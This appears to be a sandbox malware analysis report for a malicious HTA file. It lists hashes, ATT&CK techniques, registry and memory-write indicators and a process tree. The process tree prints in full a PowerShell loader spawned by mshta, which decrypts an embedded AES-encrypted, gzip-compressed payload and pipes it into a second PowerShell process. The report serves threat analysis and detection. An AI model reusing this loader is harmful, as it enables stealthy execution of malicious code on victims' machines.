fd77b8c213b4a3629abca71de153ddb41b49eff69d781b2222efc16cec7dd04b

General

Target
05022024_2209_singer.hta
Size 72KB
Sample240205-rf3x8aheb5
SHA256 fd77b8c213b4a3629abca71de153ddb41b49eff69d781b2222efc16cec7dd04b
MD5 85c97d1919e8f1936ff6930495892788
SHA1 c547a5c5781d415bbec71189c48ac465a14514a1
SHA512 618ebfb23e191c6b03da8ff1e2eca1db378c2ba0f1475d927d00c3a3459e18345c597901d6c622b6e7697db2739924911c9c8ff9d62d19e23dd0e5bb74f45c78
SSDEEP 768:W5sZHTGIH559B0P2pD4Lxj3COqibKnZw/OMN38u1LuvLutoLuV6lYWlY6CJNc1nT:syHKIHz9KP2SLxzj2LBdti5Oz
MD5 SHA1 SHA512 SSDEEP

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2768	powershell.exe
2696	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2768	powershell.exe
Token: SeDebugPrivilege	2696	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1980 wrote to memory of 2768	1980	mshta.exe	28
PID 1980 wrote to memory of 2768	1980	mshta.exe	28
PID 1980 wrote to memory of 2768	1980	mshta.exe	28
PID 1980 wrote to memory of 2768	1980	mshta.exe	28
PID 2768 wrote to memory of 2696	2768	powershell.exe	30
PID 2768 wrote to memory of 2696	2768	powershell.exe	30
PID 2768 wrote to memory of 2696	2768	powershell.exe	30
PID 2768 wrote to memory of 2696	2768	powershell.exe	30

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\05022024_2209_singer.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1980
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $gPcKLP = 'AAAAAAAAAAAAAAAAAAAAAEOe1cGTw6FIhVh/QrSMTFJsLkEmx+7VpDV75soo44Xjdoou/gadRv2ptrh1eyowo32jDkJQWIknw9z9eGEASjim8eUsr+iiDt+Gct7uUpEmFrWCP76BB1Cg0KKx0WQlrQJPpv8tYcP+nuI68unNsQgKBhhaMqg4Ou8fdShXjyIUb1O1Cb9CmKoPd891C0RQ3y4FWa07shVCaJHnFdmVEvjhxagF1qVUsx6xC6YMgl3nja922t2x/5SOyqfXR5JLkG6Xb6sKuNaR6QGS2SqteqIAE1vfs9GxXoIUJdarAKngnf1EEFUrDfctZlSR5zT6GLBAZ3kgFZgXH5XxlTf6tcteKZwZS+5X4SlH/spRa84FoPzGZg97K06YSPSft9fcpt7VRhi8ReddyJySyS4F80ZNbvJJrKX7afVObWkzQoASpxWcmgNOQpGJ4ismROQ028geyBvMpcF0Na2L2+fA8kTj6MFPTXF5ELvcldBetLM7umjFZu48uOtlUGPiZSI5Wi1z6pUaJxT8IwxgmefwtXqgTkSXxhfyZoOpb36yMcXCa9W5n0MeGRnBsFFZMawKjOI7HFvVWQhnEXb7yh4kDtwkLDbhOJXtwkeLWJN/OOxEEiA/dza1N5jbhWku9IFWIe/rbKblK7A859gC/pjQd5h0qz4rBdgieeO3GGFAkETIhs+3J1NcMZSf/zbVERD7tY7Mat17qjwa4pFiS8KLv7KI9cYLR/mrJDzBBNXWLqZiJunl8sSYoAdNKNS5niyohs7B3HV73Nf91Mf9GCXDNjt5BcGqqFFHiW6qlxM166yQ41WBsSZP77t/XhpZNGmRPhx84Cfqap6AYmu/N3KfsnY7HQLGmgn9hVJRLskm9I0zf83dhSATZUDBTyCbWPgYaWmWi5LnYe2qtPULS/UhIh4ETTgc33roMdNgLk8Ssfwbt1kqev2L8aSn+FqgADYkufhXrehPAhR+LFQkn9ePGHwMzPxsEVETt2GkqztZUPUx';$EbCNQP = 'S01NeWhUamJYR1B5aWZyUnpwd0lGQXhYUnlvQW11QkI=';$nbGhvR = New-Object 'System.Security.Cryptography.AesManaged';$nbGhvR.Mode = [System.Security.Cryptography.CipherMode]::ECB;$nbGhvR.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$nbGhvR.BlockSize = 128;$nbGhvR.KeySize = 256;$nbGhvR.Key = [System.Convert]::FromBase64String($EbCNQP);$Tpgvz = [System.Convert]::FromBase64String($gPcKLP);$gBOLPdWT = $Tpgvz[0..15];$nbGhvR.IV = $gBOLPdWT;$QcGcbsNZr = $nbGhvR.CreateDecryptor();$RaMEzyHzB = $QcGcbsNZr.TransformFinalBlock($Tpgvz, 16, $Tpgvz.Length - 16);$nbGhvR.Dispose();$tlVz = New-Object System.IO.MemoryStream( , $RaMEzyHzB );$znrzbVZ = New-Object System.IO.MemoryStream;$GdzwFAYYz = New-Object System.IO.Compression.GzipStream $tlVz, ([IO.Compression.CompressionMode]::Decompress);$GdzwFAYYz.CopyTo( $znrzbVZ );$GdzwFAYYz.Close();$tlVz.Close();[byte[]] $mYCOjpH = $znrzbVZ.ToArray();$iMhDGLOW = [System.Text.Encoding]::UTF8.GetString($mYCOjpH);$iMhDGLOW | powershell -
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2768
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2696

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

d93f411851d7c929.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Size 7KB
SHA256 cf25a52aab796619b66eaa322def3178cc9192fa7b97af3043cbd7aec0bd5291
MD5 d1c0a975af3686288fefb1dbbe4cab68
SHA1 2e9cff57cbe01eca85c9011b2185928e2460afe0
SHA512 fd0b6388cb3435df03c7ab17dd7746f78ba7c1a4f71464017472f614ac16d88616ee49dfc4ec23dedb7871371a8735ad7977c13e58c8cd533fa9eaa437b0b80b
SSDEEP 96:4VWC5M8enqvsqvJCwoDojQVWC5M8enqvsEHyqvJCworVojNwDVQHeWy7HdXlUVhU:83CUoDd3CAHnorVii3Wy7HdQU
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2696-10-0x00000000720F0000-0x000000007269B000-memory.dmp

Download

memory/2696-11-0x00000000720F0000-0x000000007269B000-memory.dmp

Download

memory/2696-12-0x00000000720F0000-0x000000007269B000-memory.dmp

Download

memory/2768-2-0x00000000720F0000-0x000000007269B000-memory.dmp

Download

memory/2768-3-0x0000000002750000-0x0000000002790000-memory.dmp

Download

memory/2768-4-0x0000000002750000-0x0000000002790000-memory.dmp

Download

memory/2768-13-0x00000000720F0000-0x000000007269B000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads